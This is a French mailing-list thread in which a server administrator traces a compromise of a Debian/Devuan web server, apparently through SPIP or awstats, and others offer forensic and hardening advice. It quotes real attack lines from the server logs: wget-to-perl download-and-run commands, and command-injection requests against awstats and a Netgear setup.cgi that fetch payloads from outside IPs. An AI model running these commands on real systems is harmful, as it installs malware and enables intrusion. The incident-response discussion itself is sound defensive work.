Re: Machine vérolée
Le mardi 27 juin 2023 à 22:30:04 UTC+2, Erwann Le Bras a écrit : > Je ne l'aurais pas cru... > Le 27/06/2023 à 16:40, BERTRAND Joël a écrit : > BERTRAND Joël a écrit : > OK, je l'ai. > > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais > toujours pas qui le lance, mais on progresse. > > Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP > antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se > font fait percer. Mais pas de la même manière. Le premier avait des > fichiers .php étranges dans sa racine : spip__.php et des choses comme > response.php. Le second avait un spip_loader.php qui embarquait un binaire. Merci peut on faire une ecole du troll libre ? -- Ptilou
Re: Machine vérolée
Je ne l'aurais pas cru... Le 27/06/2023 à 16:40, BERTRAND Joël a écrit : BERTRAND Joël a écrit : OK, je l'ai. 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd /dev/shm;wget -O -http://68.235.39.225/sepax|perl 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd /dev/shm;wget -O -http://68.235.39.225/sepax|perl J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais toujours pas qui le lance, mais on progresse. Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se font fait percer. Mais pas de la même manière. Le premier avait des fichiers .php étranges dans sa racine : spip__.php et des choses comme response.php. Le second avait un spip_loader.php qui embarquait un binaire.
Re: Machine vérolée
BERTRAND Joël a écrit : > BERTRAND Joël a écrit : >> OK, je l'ai. >> >> 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd >> /dev/shm;wget -O - http://68.235.39.225/sepax|perl >> 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd >> /dev/shm;wget -O - http://68.235.39.225/sepax|perl >> >> J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais >> toujours pas qui le lance, mais on progresse. > > Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP > antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se > font fait percer. Mais pas de la même manière. Le premier avait des > fichiers .php étranges dans sa racine : spip__.php et des choses comme > response.php. Le second avait un spip_loader.php qui embarquait un binaire. > Et j'aurais dû regarder de près les listes de diffusion de SPIP. Ça couine très fort depuis quelques semaines sur le sujet. Comme quoi, certains devraient plutôt s'attacher à la qualité du code qu'au côté politique d'un projet...
Re: Machine vérolée
BERTRAND Joël a écrit : > OK, je l'ai. > > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais > toujours pas qui le lance, mais on progresse. Et le fautif semble être... SPIP ! Et je ne parle pas d'un SPIP antédiluvien, mais d'un SPIP 4.1 à jour (4.1.10). J'en ai deux qui se font fait percer. Mais pas de la même manière. Le premier avait des fichiers .php étranges dans sa racine : spip__.php et des choses comme response.php. Le second avait un spip_loader.php qui embarquait un binaire.
Re: Machine vérolée
Le mardi 27 juin 2023 à 12:50:05 UTC+2, Michel Verdier a écrit : > Le 27 juin 2023 BERTRAND Joël a écrit : > > > OK, je l'ai. > > > > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd > > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd > > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > > > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais > > toujours pas qui le lance, mais on progresse. > Bravo ! Le script est intéressant... > L'IP est listée : > https://check.spamhaus.org/listed/?searchterm=68.235.39.225 > www.minpop.com semble utilisé dans le script et renvoie à des IP en Corée Franchement , ceux qui veulent de l’infomatique ( qui le paye) vont se voir prescrire des truc contre les ulcaires quand on sait que le noeud est a Amesterdam ….. — Ptilou
Re: Machine vérolée
Le 27 juin 2023 BERTRAND Joël a écrit : > OK, je l'ai. > > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd > /dev/shm;wget -O - http://68.235.39.225/sepax|perl > > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais > toujours pas qui le lance, mais on progresse. Bravo ! Le script est intéressant... L'IP est listée : https://check.spamhaus.org/listed/?searchterm=68.235.39.225 www.minpop.com semble utilisé dans le script et renvoie à des IP en Corée
Re: Machine vérolée
OK, je l'ai. 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd /dev/shm;wget -O - http://68.235.39.225/sepax|perl J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais toujours pas qui le lance, mais on progresse.
Re: Machine vérolée
Le vendredi 23 juin 2023 à 10:10:04 UTC+2, BERTRAND Joël a écrit :
> Bonjour à tous,
>
> Je reviens au sujet de ma machine vérolée. J'ai un peu avancé sur le
> sujet. J'ai trouvé la porte d'entrée et corrigé.
>
> Le processus hwm est un mineur de bitcoin. Celui-ci a été éradiqué et
> ne revient plus m'embêter.
>
> À intervalle régulier (ce matin à 08h50 par exemple), j'ai deux
> processus qui déboulent :
>
> 30269 www-data 20 0 10816 7088 3336 S 0,0 0,0 0:00.65
> /usr/local/apache/bin/httpd -DSSL
> 30275 www-data 20 0 10820 6660 2936 S 0,0 0,0 0:00.12
> /usr/local/apache/bin/httpd -DSSL
>
> Petit problème :
> # ls -l /usr/local/apache/bin/httpd
> ls: impossible d'accéder à '/usr/local/apache/bin/httpd': Aucun fichier
> ou dossier de ce type
>
> Un strace m'indique que le premier est un client, le second un serveur.
> Aucune idée de ce qu'ils font réellement, ça ne passe pas le firewall :
>
> connect(3, {sa_family=AF_INET, sin_port=htons(80),
> sin_addr=inet_addr("18.216.210.232")}, 16) = 0
> getsockname(3, {sa_family=AF_INET, sin_port=htons(48478),
> sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
> write(3, "NICK xxx1851\n", 13) = 13
> getsockname(3, {sa_family=AF_INET, sin_port=htons(48478),
> sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
> write(3, "USER xxx2113 192.168.15.18 18.21"..., 51) = 51
> clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=2, tv_nsec=0},
> 0x7fff7e181650) = 0
> pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=6}, NULL) = 1
> (in [3], left {tv_sec=0, tv_nsec=55615})
> read(3, "\r\n\r\nDisconnected\r\n", 4096) = 18
> pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=6}, NULL) = 1
> (in [3], left {tv_sec=0, tv_nsec=56008})
> read(3, "", 4096) = 0
> close(3) = 0
> socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
> fcntl(3, F_SETFD, FD_CLOEXEC) = 0
> ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
> pour un périphérique)
> lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
> fcntl(3, F_SETFD, FD_CLOEXEC) = 0
> ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
> pour un périphérique)
> lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
> connect(3, {sa_family=AF_INET, sin_port=htons(80),
> sin_addr=inet_addr("18.216.210.232")}, 16) = -1 ETIMEDOUT (Connexion
> terminée par expiration du délai d'attente)
> close(3) = 0
> socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
> fcntl(3, F_SETFD, FD_CLOEXEC) = 0
> ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
> pour un périphérique)
> lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
> fcntl(3, F_SETFD, FD_CLOEXEC) = 0
> ioctl(3, TCGETS, 0x7fff7e181460) = -1 ENOTTY (Ioctl() inapproprié
> pour un périphérique)
> lseek(3, 0, SEEK_CUR) = -1 ESPIPE (Repérage non permis)
>
> Vu ce que je trouve dans le répertoire cwd de l'un des processus
> (/tmp/.wwwodsfidsfe) :
>
> # ls -alR
> .:
> total 8084
> drwxrwxrwx 3 www-data www-data 4096 23 juin 08:50 .
> drwxrwxrwt 10 root root 36864 23 juin 09:56 ..
> drwxr-xr-x 2 www-data www-data 4096 23 juin 09:56 fs
> -rw-rw-rw- 1 www-data www-data 8218683 23 juin 08:49 gg.tgz
>
> ./fs:
> total 14928
> drwxr-xr-x 2 www-data www-data 4096 23 juin 09:56 .
> drwxrwxrwx 3 www-data www-data 4096 23 juin 08:50 ..
> -rw-r--r-- 1 www-data www-data 24565 4 août 2022 1.html
> -rw-r--r-- 1 www-data www-data 3014144 23 juin 08:50 abe
> -rw-rw-rw- 1 www-data www-data 26 23 juin 09:56 bb
> -rw-r--r-- 1 www-data www-data 34 3 août 2022 d
> -rw-r--r-- 1 www-data www-data 26098 22 juin 09:10 da.html
> -rw-rw-rw- 1 www-data www-data 33699 23 juin 09:55 di.html
> -rw-r--r-- 1 www-data www-data 9235803 17 févr. 2022 git
> -rw-rw-rw- 1 www-data www-data 29 23 juin 09:35 has
> -rw-r--r-- 1 www-data www-data 43777 3 août 2022 me
> -rw-r--r-- 1 www-data www-data 246233 14 juil. 2022 ok
> -rw-r--r-- 1 www-data www-data 2598092 3 août 2022 ola
>
> le truc en question doit être un genre de serveur de mails qui envoie du
> pishing à la terre entière. Ces deux processus sont lancés par un script
> sh qui reste dans l'état de zombie très longtemps. Le parent est init
> (tant qu'à faire). Je n'arrive pas à trouver par quoi ce truc est lancé
> périodiquement. Sans doute un processus avec les droits www-data.
>
> Sur cette machine, les seules choses tournant avec les droits www-data
> sont :
> - un serveur apache2 (debian/testing)
> - php 8.2 (et 7.4 pour un blog b2 evolution)
> - trois sites SPIP (4.1.10 à jour, y compris les plugins)
>
Re: Machine vérolée
Michel Verdier a écrit : > Le 25 juin 2023 BERTRAND Joël a écrit : > >> Petite remarque : j'ai modifié allow_url_fopen de on à off dans le >> fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on' >> par défaut). /tmp est maintenant en noexec. > > Attention de mémoire il y a plusieurs php.ini utilisés selon le mode > d'appel Merci, je sais. Et je vérifie toujours avec un php_info(). JB
Re: Machine vérolée (alternatives à PHP)
On 6/26/23 14:01, Michel Verdier wrote: Le 26 juin 2023 Erwann Le Bras a écrit : -SPIP est basé sur PHP ; je ne pense pas que le système SPIP lui-même serait touché (pas assez populaire) , mais les lancement de PHP? Au contraire SPIP a eu son lot de failles, il vaut mieux avoir la dernière version. Pour info, je rappelle l'existence d'alternatives européennes libres à PHP, à mon avis trop méconnues et peu utilisées, mais meilleures: Si on veut coder un service Web en C: https://www.coralbits.com/libonion/ (principalement espagnole, mais j'y ai contribué quelques lignes) Si on veut coder un service Web en C++: https://www.webtoolkit.eu/wt Si on préfere coder un service Web en Ocaml (dont le typage statique ajoute en sûreté), https://ocsigen.org/home/intro.html (c'est même français) Ces trois alternatives sont non seulement européennes, mais compilées nativement. L'avantage est alors aussi l'efficacité par rapport à un interprète PHP (oui, je sais que PHP8 a un compilateur JIT) Et je crois aussi que ces trois alternatives seraient plus sûres (en terme de cybersecurité). Librement -- Basile Starynkevitch (only mine opinions / les opinions sont miennes uniquement) 92340 Bourg-la-Reine, France web page: starynkevitch.net/Basile/
Re: Machine vérolée
Le 25 juin 2023 BERTRAND Joël a écrit : > Petite remarque : j'ai modifié allow_url_fopen de on à off dans le > fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on' > par défaut). /tmp est maintenant en noexec. Attention de mémoire il y a plusieurs php.ini utilisés selon le mode d'appel
Re: Machine vérolée
Le 26 juin 2023 Jean-Michel OLTRA a écrit : > Il y a longtemps, j'avais eu un problème de ce genre, et je l'avais trouvé > en croisant (je crois que ça a déjà été suggéré) les horaires de lancement > avec l'exécution de certaines pages php. Oui c'est ce que je conseillais de faire > Peut-être peux tu également faire une recherche grep (ou ack-grep, ou ag) > sur les fichiers php et sur les fonctions qui peuvent agir. Je ne suis pas > assez calé en php pour te conseiller, mais des trucs comme mail, ou fopen, > ou system, ou exec, ou base64_encode (et decode) ? Oui il y a tout un tas de paramètres à régler dans php.ini de façon plus sécurisée : https://www.php.net/manual/fr/security.php
Re: Machine vérolée
Le 26 juin 2023 Erwann Le Bras a écrit : > -SPIP est basé sur PHP ; je ne pense pas que le système SPIP lui-même serait > touché (pas assez populaire) , mais les lancement de PHP? Au contraire SPIP a eu son lot de failles, il vaut mieux avoir la dernière version.
Re: Machine vérolée
BERTRAND Joël a écrit : > #!/bin/bash > > if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi > if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi > logger -i "shell $*" > for i in $(pstree -p); do logger -i $i; done > > exec $* Ce script ne fonctionne pas correctement. J'ai essayé ceci, mais le résultat est identique. #!/bin/bash logger -i "shell $@" exec "$@" Par mail, je reçois par exemple /bin/sh: ligne 8: /var/lib/munin/if [ -x /usr/bin/munin-cron ]; then /usr/bin/munin-cron; fi > /dev/null 2>&1: Aucun fichier ou dossier de ce type Je suppose qu'il y un truc à faire avec les redirections, mais je sèche. Bien cordialement, JB
Re: Machine vérolée
Erwann Le Bras a écrit : > bonjour Bonjour, > plusieurs pistes : > > - un truc qui se lance au démarrage de la machine et reste bien planqué > qui lance la saleté de temps en temps) ? > Je pense par exemple, s'il a exploité une faille de Apache à la base, a > pu modifié la config pour se lancer? Ou au boot de la machine > (systemctl) si les privilèges acquis permettaient d'avoir les droits "root" Il n'y a pas de systemctl, c'est un serveur Devuan. > -SPIP est basé sur PHP ; je ne pense pas que le système SPIP lui-même > serait touché (pas assez populaire) , mais les lancement de PHP? > > -Même remarque avec Perl, puisqu'il tourne avec. > > - Tu as fait un script /bin/sh, c'est très bien... à condition qu'il > passe bien par sh et pas directement par un autre shell. dans ce cas, > renommer tous les shelles présents en .sav, les remplacer par des liens > vers ton /bin/sh, et enfin lancer le script légitime avec le shell > d'origine.sav. Il passe par sh (j'ai le script zombie qui me l'indique). JB
Re: Machine vérolée
NoSpam a écrit : > Bonjour > > rkhunter et chkrootkit ne détectent rien ? chkrootkit ne couine pas (il tourne depuis des années dans un cron). rkhunter que j'ai lancé hier non plus.
Re: Machine vérolée
Bonjour rkhunter et chkrootkit ne détectent rien ? Le 26/06/2023 à 11:26, Jean-Michel OLTRA a écrit : Bonjour, Le lundi 26 juin 2023, BERTRAND Joël a écrit... Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord un script sh qui daemonise un exécutable perl. Je cherche à savoir qui lance cette saleté (sans doute www-data) mais surtout quel est l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond d'une arborescence de www-data, mais rien ne me saute aux yeux. Il y a longtemps, j'avais eu un problème de ce genre, et je l'avais trouvé en croisant (je crois que ça a déjà été suggéré) les horaires de lancement avec l'exécution de certaines pages php. Peut-être peux tu également faire une recherche grep (ou ack-grep, ou ag) sur les fichiers php et sur les fonctions qui peuvent agir. Je ne suis pas assez calé en php pour te conseiller, mais des trucs comme mail, ou fopen, ou system, ou exec, ou base64_encode (et decode) ?
Re: Machine vérolée
Bonjour, Le lundi 26 juin 2023, BERTRAND Joël a écrit... > Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord > un script sh qui daemonise un exécutable perl. Je cherche à savoir qui > lance cette saleté (sans doute www-data) mais surtout quel est > l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond > d'une arborescence de www-data, mais rien ne me saute aux yeux. Il y a longtemps, j'avais eu un problème de ce genre, et je l'avais trouvé en croisant (je crois que ça a déjà été suggéré) les horaires de lancement avec l'exécution de certaines pages php. Peut-être peux tu également faire une recherche grep (ou ack-grep, ou ag) sur les fichiers php et sur les fonctions qui peuvent agir. Je ne suis pas assez calé en php pour te conseiller, mais des trucs comme mail, ou fopen, ou system, ou exec, ou base64_encode (et decode) ? -- jm
Re: Machine vérolée
bonjour plusieurs pistes : - un truc qui se lance au démarrage de la machine et reste bien planqué qui lance la saleté de temps en temps) ? Je pense par exemple, s'il a exploité une faille de Apache à la base, a pu modifié la config pour se lancer? Ou au boot de la machine (systemctl) si les privilèges acquis permettaient d'avoir les droits "root" -SPIP est basé sur PHP ; je ne pense pas que le système SPIP lui-même serait touché (pas assez populaire) , mais les lancement de PHP? -Même remarque avec Perl, puisqu'il tourne avec. - Tu as fait un script /bin/sh, c'est très bien... à condition qu'il passe bien par sh et pas directement par un autre shell. dans ce cas, renommer tous les shelles présents en .sav, les remplacer par des liens vers ton /bin/sh, et enfin lancer le script légitime avec le shell d'origine.sav. bon courage, on l'aura Le 26/06/2023 à 10:56, BERTRAND Joël a écrit : Sébastien Dinot a écrit : BERTRAND Joël a écrit : Porte d'entrée trouvée : Merci pour ce retour, toujours intéressant à avoir. Porte d'entrée trouvée, mais il reste des scories. Je suis en train de logguer ce que fait sh pour savoir quel est le processus qui me réinstalle le vers régulièrement. Le truc est bien planqué et est revenu à la charge plusieurs fois ce matin. Bon, il ne peut rien faire puisque les ports sur lesquels il veut se connecter sont fermés sur le firewall, mais c'est pénible. Ce n'est visiblement pas lancé par un cron (pas de régularité). J'utilise un /bin/sh qui fait cela : #!/bin/bash if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi logger -i "shell $*" for i in $(pstree -p); do logger -i $i; done exec $* Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord un script sh qui daemonise un exécutable perl. Je cherche à savoir qui lance cette saleté (sans doute www-data) mais surtout quel est l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond d'une arborescence de www-data, mais rien ne me saute aux yeux. JB
Re: Machine vérolée
Sébastien Dinot a écrit : > BERTRAND Joël a écrit : >> Porte d'entrée trouvée : > > Merci pour ce retour, toujours intéressant à avoir. Porte d'entrée trouvée, mais il reste des scories. Je suis en train de logguer ce que fait sh pour savoir quel est le processus qui me réinstalle le vers régulièrement. Le truc est bien planqué et est revenu à la charge plusieurs fois ce matin. Bon, il ne peut rien faire puisque les ports sur lesquels il veut se connecter sont fermés sur le firewall, mais c'est pénible. Ce n'est visiblement pas lancé par un cron (pas de régularité). J'utilise un /bin/sh qui fait cela : #!/bin/bash if [ $1 == "/usr/bin/rlog" ]; then exit 0; fi if [ $1 == "/usr/bin/rcsdiff" ]; then exit 0; fi logger -i "shell $*" for i in $(pstree -p); do logger -i $i; done exec $* Est-ce que vous voyez plus efficace ? Le vers en question lance d'abord un script sh qui daemonise un exécutable perl. Je cherche à savoir qui lance cette saleté (sans doute www-data) mais surtout quel est l'exécutable. Je subodore qu'il est au chaud quelque part dans le fond d'une arborescence de www-data, mais rien ne me saute aux yeux. JB
Re: Machine vérolée
Le 2023-06-26 10:35, Erwann Le Bras a écrit : merci du retour d'expérience, c'est intéressant. D'où l'importance des patchs de sécurité à passer le plus tôt possible. Cette expérience, qui date de 2004, m'a servi de leçon. Depuis, la plupart des serveurs que j'administre sont mis à jour toutes les 4 heures (merci aux auteurs du paquet unattended-upgrades qui me permet de gérer au mieux ces mises à jour). Les exceptions à cette règle sont des serveurs bien moins exposés dont la disponibilité en journée prime sur les mises à jour. Ceux-ci ne sont mis à jour qu'entre 20 heures et 8 heures du matin (là encore, toutes les 4 heures). Mais dès qu'un serveur est exposé sur le net, je refuse de déroger à cette règle, unattended-upgrades est lancée une fois toutes les 4 heures (modulo l'aléa introduit pour répartir la charge sur les serveurs Debian). Mais comme il faut savoir rester humble en matière de sécurité, j'ai l'habitude de dire que tous les crackers qui ont réalisé des attaques fructueuses sur mes machines depuis 2004 ont été assez malins pour que je ne m'aperçoive de rien. :) Sébastien -- Sébastien Dinot Ne goutez pas au logiciel libre, vous ne pourriez plus vous en passer ! https://www.palabritudes.net/
Re: Machine vérolée
merci du retour d'expérience, c'est intéressant. D'où l'importance des patchs de sécurité à passer le plus tôt possible. Erwann Le 23/06/2023 à 11:35, Sébastien Dinot a écrit : je devais compiler moi-même le noyau au lieu d'utiliser celui fourni par Debian, chose que je faisais rarement par flemme (les attaquants avaient utilisé une faille d'Apache qui n'avait existé que 3 jours sur Debian – pas de bol – puis ils avaient obtenu plus de privilèges en exploitant une faille dans le noyau, corrigée depuis bien longtemps par Debian)
Re: Machine vérolée
BERTRAND Joël a écrit : > Porte d'entrée trouvée : Merci pour ce retour, toujours intéressant à avoir. Sébastien -- Sébastien Dinot, sebastien.di...@free.fr http://www.palabritudes.net/ Ne goutez pas au logiciel libre, vous ne pourriez plus vous en passer !
Re: Machine vérolée
Porte d'entrée trouvée : GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20131%2e220%2e92%2e80%2fcacat%3bchmod%20%2bx%20cacat%3b%2e%2fcacat%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1\n" "GET /setup.cgi?next_file=netgear.cfg=syscmd=rm+-rf+/tmp/*;wget+http://27.45.37.235:51873/Mozi.m+-O+/tmp/netgear;sh+netgear=/=1 HTTP/1.0" La seconde requête échoue (firewall sortant et script inexistant). Ce que je ne saisis pas, c'est pourquoi la première est passée, awstats étant protégé par .htpasswd. JB
Re: Machine vérolée
Quelques nouvelles. Le bot en question est une version moderne d'un vieux truc (on en trouve des traces depuis 2003) : https://www.politoinc.com/post/2015/04/01/analysis-of-a-romanian-botnet https://forum.directadmin.com/threads/cannot-restart-apache.17795/ https://forums.gentoo.org/viewtopic-t-316934-postdays-0-postorder-asc-start-0.html Je n'ai rien trouvé de bizarre en examinant les disques. Je me demande si ce vers ne vient pas par une injection externe, la machine ayant été tagguée quelque part comme vulnérable. Le bot ne se lance pas à une heure précise comme dans le cas d'un cron (apache2 utilise mod-secure). Petite remarque : j'ai modifié allow_url_fopen de on à off dans le fichier de configuration de php 8.2 (je ne vois pas pourquoi c'est 'on' par défaut). /tmp est maintenant en noexec. À suivre. JB
Re: Machine vérolée
Le 2023-06-23 10:30, BERTRAND Joël a écrit : Très bien. Et quelle est la marche à suivre. Je peux démarrer sur un liveCD ou autre chose, mais je ne suis pas au fait de ce qu'il faut faire après cela. La question est vague, il faut monter les partitions du système, puis y rechercher ce qu'il y a d'étrange dessus, voir quelles sont les unités lancées par Systemd, voir s'il n'y a pas des répertoires ou des fichiers cachés (y compris des répertoires ou fichiers dont le nom ne commence pas par un point, mais que le système vérolé ne t'aurait pas montrés). Mais ça, c'est juste pour comprendre ce qui a pu se passer, parce que, en ce qui me concerne, la seule fois où cette mésaventure m'est arrivée, je n'ai pas tenté de récupéré le système ou de réutiliser le disque. J'ai : * Utilisé un liveCD pour récupérer mes données (l'indispensable pour minimiser le risque de récupérer des trucs vérolés au passage) * Retiré le disque de mon PC * Acheté un nouveau disque et réinstallé un système frais dessus (en m'interdisant de copier des logiciels ou même des scripts provenant de l'ancien système) * Envoyé le disque à des amis spécialisés en sécurité pour qu'ils en fassent l'analyse et m'expliquent comment les attaquants avaient réussi leur coup (leur analyse a été très instructive et formatrice pour moi) * Informé les admin. sys. de tous les serveurs auxquels j'avais accès de la compromission de mon PC et potentiellement, de mes clés SSH et GnuPG, leur demandant de bloquer immédiatement mon compte et de lui supprimer ses éventuels privilèges (sudo) * Généré de nouvelles clés SSH et GnuPG * Répudié mes anciennes clés GnuPG * Informé tous mes contacts qu'ils ne devaient plus faire confiance à mes anciennes clés GnuPG (il m'a fallu un an et demi pour reconstruire mon réseau de confiance) * Jeté la webcam qui nécessitait un pilote propriétaire, qui faisait que je devais compiler moi-même le noyau au lieu d'utiliser celui fourni par Debian, chose que je faisais rarement par flemme (les attaquants avaient utilisé une faille d'Apache qui n'avait existé que 3 jours sur Debian – pas de bol – puis ils avaient obtenu plus de privilèges en exploitant une faille dans le noyau, corrigée depuis bien longtemps par Debian) * Acheté une webcam fonctionnant avec un pilote libre, supporté par Debian Sébastien -- Sébastien Dinot Ne goutez pas au logiciel libre, vous ne pourriez plus vous en passer ! https://www.palabritudes.net/
Re: Machine vérolée
Le 23 juin 2023 BERTRAND Joël a écrit : > Sur cette machine, les seules choses tournant avec les droits www-data > sont : > - un serveur apache2 (debian/testing) > - php 8.2 (et 7.4 pour un blog b2 evolution) > - trois sites SPIP (4.1.10 à jour, y compris les plugins) Et d'ailleurs si tu as des backup faire un diff des sites pour voir s'il y a eu des apports suspects.
Re: Machine vérolée
Le 23 juin 2023 BERTRAND Joël a écrit : > Sur cette machine, les seules choses tournant avec les droits www-data > sont : > - un serveur apache2 (debian/testing) > - php 8.2 (et 7.4 pour un blog b2 evolution) > - trois sites SPIP (4.1.10 à jour, y compris les plugins) Il y a possibilité que b2 ou spip soient piratés et qu'une faille donne accès à www-data. Notamment si tu n'as rien mis de particulier php peut être un peu trop laxiste sur les requêtes permises. Augmente le niveau de log de apache et croise les heures de lancement des programmes pirates et les requêtes reçues sur apache.
Re: Machine vérolée
On 6/23/23 10:30, BERTRAND Joël wrote: Sébastien Dinot a écrit : Le 2023-06-23 10:08, BERTRAND Joël a écrit : Ma question est donc assez simple ;-) Comment trouver par quoi sont lancés ces deux processus ? En pareille circonstance, il n'y a qu'une seule solution : analyse du disque depuis un système live sur clé USB. En effet, si un rootkit a été installé sur cette machine, ce qui semble être le cas, tu ne peux l'observer qu'à travers les lunettes que te donne le rootkit. :) Très bien. Et quelle est la marche à suivre. Je peux démarrer sur un liveCD ou autre chose, mais je ne suis pas au fait de ce qu'il faut faire après cela. D'abord et avant tout, isoler la machine du réseau Internet. (une solution est de débrancher le cable Ethernet par exemple) Ensuite, j'espère que /home est sur une partition externe (et que les données des serveurs y sont aussi). Dans cette hypothèse, le copier sur un disque monté en noeexec. -- Basile Starynkevitch (only mine opinions / les opinions sont miennes uniquement) 92340 Bourg-la-Reine, France web page: starynkevitch.net/Basile/
Re: Machine vérolée
Sébastien Dinot a écrit : > Le 2023-06-23 10:08, BERTRAND Joël a écrit : >> Ma question est donc assez simple ;-) Comment trouver par quoi sont >> lancés ces deux processus ? > > En pareille circonstance, il n'y a qu'une seule solution : analyse du > disque depuis un système live sur clé USB. > > En effet, si un rootkit a été installé sur cette machine, ce qui semble > être le cas, tu ne peux l'observer qu'à travers les lunettes que te > donne le rootkit. :) Très bien. Et quelle est la marche à suivre. Je peux démarrer sur un liveCD ou autre chose, mais je ne suis pas au fait de ce qu'il faut faire après cela. Bien cordialement, JB
Re: Machine vérolée
Le 2023-06-23 10:08, BERTRAND Joël a écrit : Ma question est donc assez simple ;-) Comment trouver par quoi sont lancés ces deux processus ? En pareille circonstance, il n'y a qu'une seule solution : analyse du disque depuis un système live sur clé USB. En effet, si un rootkit a été installé sur cette machine, ce qui semble être le cas, tu ne peux l'observer qu'à travers les lunettes que te donne le rootkit. :) Sébastien -- Sébastien Dinot Ne goutez pas au logiciel libre, vous ne pourriez plus vous en passer ! https://www.palabritudes.net/
Machine vérolée
Bonjour à tous,
Je reviens au sujet de ma machine vérolée. J'ai un peu avancé sur le
sujet. J'ai trouvé la porte d'entrée et corrigé.
Le processus hwm est un mineur de bitcoin. Celui-ci a été éradiqué et
ne revient plus m'embêter.
À intervalle régulier (ce matin à 08h50 par exemple), j'ai deux
processus qui déboulent :
30269 www-data 20 0 10816 7088 3336 S 0,0 0,0 0:00.65
/usr/local/apache/bin/httpd -DSSL
30275 www-data 20 0 10820 6660 2936 S 0,0 0,0 0:00.12
/usr/local/apache/bin/httpd -DSSL
Petit problème :
# ls -l /usr/local/apache/bin/httpd
ls: impossible d'accéder à '/usr/local/apache/bin/httpd': Aucun fichier
ou dossier de ce type
Un strace m'indique que le premier est un client, le second un serveur.
Aucune idée de ce qu'ils font réellement, ça ne passe pas le firewall :
connect(3, {sa_family=AF_INET, sin_port=htons(80),
sin_addr=inet_addr("18.216.210.232")}, 16) = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(48478),
sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
write(3, "NICK xxx1851\n", 13) = 13
getsockname(3, {sa_family=AF_INET, sin_port=htons(48478),
sin_addr=inet_addr("192.168.15.18")}, [128 => 16]) = 0
write(3, "USER xxx2113 192.168.15.18 18.21"..., 51) = 51
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=2, tv_nsec=0},
0x7fff7e181650) = 0
pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=6}, NULL) = 1
(in [3], left {tv_sec=0, tv_nsec=55615})
read(3, "\r\n\r\nDisconnected\r\n", 4096) = 18
pselect6(8, [3], NULL, NULL, {tv_sec=0, tv_nsec=6}, NULL) = 1
(in [3], left {tv_sec=0, tv_nsec=56008})
read(3, "", 4096) = 0
close(3)= 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
fcntl(3, F_SETFD, FD_CLOEXEC) = 0
